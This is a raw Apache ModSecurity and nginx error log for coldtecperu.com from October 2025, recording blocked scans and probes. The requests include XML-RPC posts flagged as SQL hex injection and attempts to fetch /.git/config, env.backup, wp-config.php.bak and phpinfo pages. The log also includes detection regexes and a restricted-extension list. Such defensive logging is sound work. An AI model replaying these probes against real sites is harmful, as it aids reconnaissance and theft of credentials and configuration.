Data: e0xf578d5adde found within XML: metaWeblog.newPost14097640976title0xf578d5addescription0xf578d5admt_keywords0xf578d5admt_excerpt0xf578d5ad1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOTLHVANPaO8wH2jt8gduQAAAM0"] [Tue Oct 07 03:12:53.256668 2025] [:error] [pid 30323:tid 30345] [client 49.207.236.48:48466] [client 49.207.236.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x110dda81de found within XML: metaWeblog.newPost17078570785title0x110dda81description0x110dda81mt_keywords0x110dda81mt_excerpt0x110dda811"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOTLhePLNnUh9Q0mirsa_AAAARQ"] [Tue Oct 07 10:49:56.220898 2025] [:error] [pid 5155:tid 5228] [client 69.171.230.7:55758] [client 69.171.230.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOU2pM1SmTKv43RQbmxUyAAAAI8"] [Tue Oct 07 18:26:43.712792 2025] [:error] [pid 5155:tid 5223] [client 69.171.230.4:59702] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOWhs81SmTKv43RQbmxeeQAAAIo"] [Tue Oct 07 18:26:52.028239 2025] [:error] [pid 5343:tid 5353] [client 69.171.230.4:59720] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOWhvBhquxbLrnqDlW48VQAAAMg"] [Wed Oct 08 09:20:02.894746 2025] [:error] [pid 31175:tid 31204] [client 69.171.230.116:44824] [client 69.171.230.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOZzEh__2LbVT7PPkCqdhQAAABg"] [Wed Oct 08 09:31:15.418488 2025] [:error] [pid 31175:tid 31181] [client 96.242.29.137:45524] [client 96.242.29.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x4e0d2318de found within XML: metaWeblog.newPost13001530015title0x4e0d2318description0x4e0d2318mt_keywords0x4e0d2318mt_excerpt0x4e0d23181"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOZ1sx__2LbVT7PPkCqdmAAAAAE"] [Wed Oct 08 09:31:17.333241 2025] [:error] [pid 31412:tid 31434] [client 82.26.162.9:45528] [client 82.26.162.9] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOZ1tbDsRT96LDsBAdk18QAAANQ"] [Wed Oct 08 16:45:01.577578 2025] [:error] [pid 31176:tid 31232] [client 173.252.83.114:52724] [client 173.252.83.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aObbXf50CY3YQVaHZ_0aGAAAAFY"] [Wed Oct 08 19:07:48.755225 2025] [:error] [pid 31177:tid 31241] [client 185.177.72.111:35568] File does not exist: /home/coldtecp/public_html/phpinfo.php [Wed Oct 08 19:07:49.615936 2025] [:error] [pid 31412:tid 31436] [client 185.177.72.111:35588] File does not exist: /home/coldtecp/public_html/_phpinfo.php [Wed Oct 08 19:07:50.797090 2025] [:error] [pid 31412:tid 31430] [client 185.177.72.111:35612] [client 185.177.72.111] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/env.backup"] [unique_id "aOb81rDsRT96LDsBAdlKaQAAANA"] [Wed Oct 08 19:07:54.791095 2025] [:error] [pid 31175:tid 31180] [client 185.177.72.111:35708] File does not exist: /home/coldtecp/public_html/wp-config.php.bak [Wed Oct 08 19:07:54.874358 2025] [:error] [pid 31175:tid 31192] [client 185.177.72.111:35710] File does not exist: /home/coldtecp/public_html/info.php [Wed Oct 08 19:07:55.373983 2025] [:error] [pid 31175:tid 31196] [client 185.177.72.111:35722] File does not exist: /home/coldtecp/public_html/server_info.php [Wed Oct 08 19:07:55.457063 2025] [:error] [pid 31175:tid 31181] [client 185.177.72.111:35724] File does not exist: /home/coldtecp/public_html/app_dev.php [Wed Oct 08 19:07:55.540360 2025] [:error] [pid 31412:tid 31436] [client 185.177.72.111:35726] File does not exist: /home/coldtecp/public_html/test.php [Wed Oct 08 19:07:55.761427 2025] [:error] [pid 31177:tid 31238] [client 185.177.72.111:35730] File does not exist: /home/coldtecp/public_html/server-info.php [Wed Oct 08 19:08:27.300987 2025] [:error] [pid 31412:tid 31425] [client 185.177.72.111:35802] [client 185.177.72.111] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/storage/logs/laravel.log"] [unique_id "aOb8-7DsRT96LDsBAdlKiwAAAMs"] [Thu Oct 09 01:42:19.285298 2025] [:error] [pid 31412:tid 31417] [client 27.107.118.94:50754] [client 27.107.118.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x7e4600c1de found within XML: metaWeblog.newPost11346913469title0x7e4600c1description0x7e4600c1mt_keywords0x7e4600c1mt_excerpt0x7e4600c11"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOdZS7DsRT96LDsBAdle8QAAAMM"] [Thu Oct 09 01:47:00.697700 2025] [:error] [pid 31412:tid 31428] [client 171.79.61.53:51154] [client 171.79.61.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x43012a97de found within XML: metaWeblog.newPost16262862628title0x43012a97description0x43012a97mt_keywords0x43012a97mt_excerpt0x43012a971"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOdaZLDsRT96LDsBAdlfGwAAAM4"] [Thu Oct 09 07:58:48.022564 2025] [:error] [pid 2931:tid 2941] [client 69.171.230.1:36688] [client 69.171.230.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOexiAIR2c_qMR0jG3-Q_AAAAMg"] [Thu Oct 09 12:45:46.043359 2025] [:error] [pid 2724:tid 2798] [client 138.199.35.8:43868] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Oct 09 13:53:29.577103 2025] [:error] [pid 2724:tid 2781] [client 208.84.102.213:50274] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Oct 09 15:21:47.760459 2025] [:error] [pid 2931:tid 2949] [client 173.252.87.9:57264] [client 173.252.87.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOgZWwIR2c_qMR0jG3-ndAAAANA"] [Thu Oct 09 19:14:15.091857 2025] [:error] [pid 2722:tid 2733] [client 138.199.35.5:60784] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Oct 10 07:23:41.159556 2025] [:error] [pid 6983:tid 6994] [client 82.20.193.27:50994] [client 82.20.193.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOj6zS3I67UMODHxj8lJUQAAAQk"] [Fri Oct 10 07:58:08.328746 2025] [:error] [pid 6983:tid 6989] [client 206.189.85.134:53928] File does not exist: /home/coldtecp/public_html/wp-login.php [Fri Oct 10 13:51:37.847706 2025] [:error] [pid 7055:tid 7072] [client 173.252.87.23:43418] [client 173.252.87.23] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOlVuSLETQJ57sMRcKlG-gAAAU4"] [Fri Oct 10 15:43:59.928960 2025] [:error] [pid 24199:tid 24284] [client 157.230.252.135:52190] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Oct 10 21:10:12.279935 2025] [:error] [pid 24198:tid 24217] [client 89.187.187.84:47258] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 11 02:38:38.210190 2025] [:error] [pid 24199:tid 24267] [client 169.150.203.245:48892] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 11 12:09:01.350366 2025] [:error] [pid 3640:tid 3723] [client 173.252.87.12:51382] [client 173.252.87.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOqPLUjpBHL7XiqYkdblsQAAAFc"] [Sun Oct 12 01:48:28.061004 2025] [:error] [pid 1597:tid 1661] [client 138.199.35.5:48168] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Oct 12 03:17:51.648045 2025] [:error] [pid 25029:tid 25056] [client 69.171.230.20:59000] [client 69.171.230.20] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOtkL0H6R_mNtyjjsmH4mwAAAJc"] [Sun Oct 12 04:47:18.939847 2025] [:error] [pid 25159:tid 25169] [client 156.59.188.151:42498] File does not exist: /home/coldtecp/public_html/wp-login.php 2025/10/12 05:39:05 [error] 24975#24975: *2267839 access forbidden by rule, client: 13.222.100.172, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Oct 12 07:18:26.804623 2025] [:error] [pid 25159:tid 25172] [client 49.43.6.28:60780] [client 49.43.6.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x47e2c6fade found within XML: metaWeblog.newPost12423824238title0x47e2c6fadescription0x47e2c6famt_keywords0x47e2c6famt_excerpt0x47e2c6fa1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOuckoXVOFxuZOOHgRIMIgAAAMg"] [Sun Oct 12 10:20:53.575106 2025] [:error] [pid 25159:tid 25181] [client 69.63.189.115:50670] [client 69.63.189.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOvHVYXVOFxuZOOHgRIUCQAAANE"] 2025/10/12 13:24:51 [error] 24975#24975: *2287102 access forbidden by rule, client: 185.177.72.24, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/10/12 19:42:13 [error] 24976#24976: *2299939 access forbidden by rule, client: 185.177.72.22, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Oct 12 19:42:14.566871 2025] [:error] [pid 25159:tid 25171] [client 185.177.72.22:49256] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sun Oct 12 19:42:14.736806 2025] [:error] [pid 25159:tid 25170] [client 185.177.72.22:49260] File does not exist: /home/coldtecp/public_html/info.php [Sun Oct 12 19:42:14.821656 2025] [:error] [pid 25027:tid 25059] [client 185.177.72.22:49262] File does not exist: /home/coldtecp/public_html/test.php [Sun Oct 12 19:42:14.991224 2025] [:error] [pid 25029:tid 25048] [client 185.177.72.22:49266] File does not exist: /home/coldtecp/public_html/php.php [Sun Oct 12 19:42:15.076120 2025] [:error] [pid 25029:tid 25040] [client 185.177.72.22:49268] File does not exist: /home/coldtecp/public_html/i.php [Sun Oct 12 19:42:15.246057 2025] [:error] [pid 25029:tid 25034] [client 185.177.72.22:49272] File does not exist: /home/coldtecp/public_html/phpversion.php [Mon Oct 13 01:52:40.272912 2025] [:error] [pid 25028:tid 25091] [client 173.252.87.115:45314] [client 173.252.87.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOyhuPk1MScA3Joc6LETuwAAAEY"] [Mon Oct 13 09:03:17.639792 2025] [:error] [pid 22703:tid 22707] [client 69.171.249.112:48512] [client 69.171.249.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aO0GpdTI6WdcMcTq52px2wAAAMI"] [Tue Oct 14 00:09:22.595655 2025] [:error] [pid 22703:tid 22729] [client 69.171.249.9:35140] [client 69.171.249.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aO3bAtTI6WdcMcTq52oG0AAAANg"] 2025/10/14 00:47:53 [error] 22263#22263: *2454079 access forbidden by rule, client: 170.64.142.145, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/14 00:47:54 [error] 22262#22262: *2454080 access forbidden by rule, client: 170.64.142.145, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Oct 14 04:13:57.425691 2025] [:error] [pid 5463:tid 5475] [client 169.150.203.245:60722] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Oct 14 07:29:34.175102 2025] [:error] [pid 5463:tid 5481] [client 173.252.87.18:59120] [client 173.252.87.18] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aO5CLkxggxfxHa5gCJhvJgAAAA0"] 2025/10/14 08:13:38 [error] 5426#5426: *2507713 access forbidden by rule, client: 170.64.142.145, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/14 08:13:39 [error] 5426#5426: *2507715 access forbidden by rule, client: 170.64.142.145, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Oct 14 08:13:57.867043 2025] [:error] [pid 5465:tid 5509] [client 64.227.100.181:46782] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Oct 14 22:53:16.720287 2025] [:error] [pid 5465:tid 5507] [client 173.252.87.16:42974] [client 173.252.87.16] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aO8arMAPJn_h4nWnhQoawwAAAMw"] [Wed Oct 15 00:12:08.762261 2025] [:error] [pid 5465:tid 5516] [client 169.150.203.200:44922] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Oct 15 05:39:43.405089 2025] [:error] [pid 5377:tid 5385] [client 173.252.87.5:47772] [client 173.252.87.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aO957xAJY99YyhT6jciJowAAAAQ"] 2025/10/15 15:14:53 [error] 5341#5341: *2720722 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/15 15:14:53 [error] 5341#5341: *2720723 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/15 20:11:04 [error] 32271#32271: *2738208 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/15 20:11:04 [error] 32272#32272: *2738209 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Wed Oct 15 21:38:04.218079 2025] [:error] [pid 32393:tid 32397] [client 173.252.95.9:33806] [client 173.252.95.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPBajLh4IpsK978Q0H_4swAAAMI"] [Wed Oct 15 23:08:55.517402 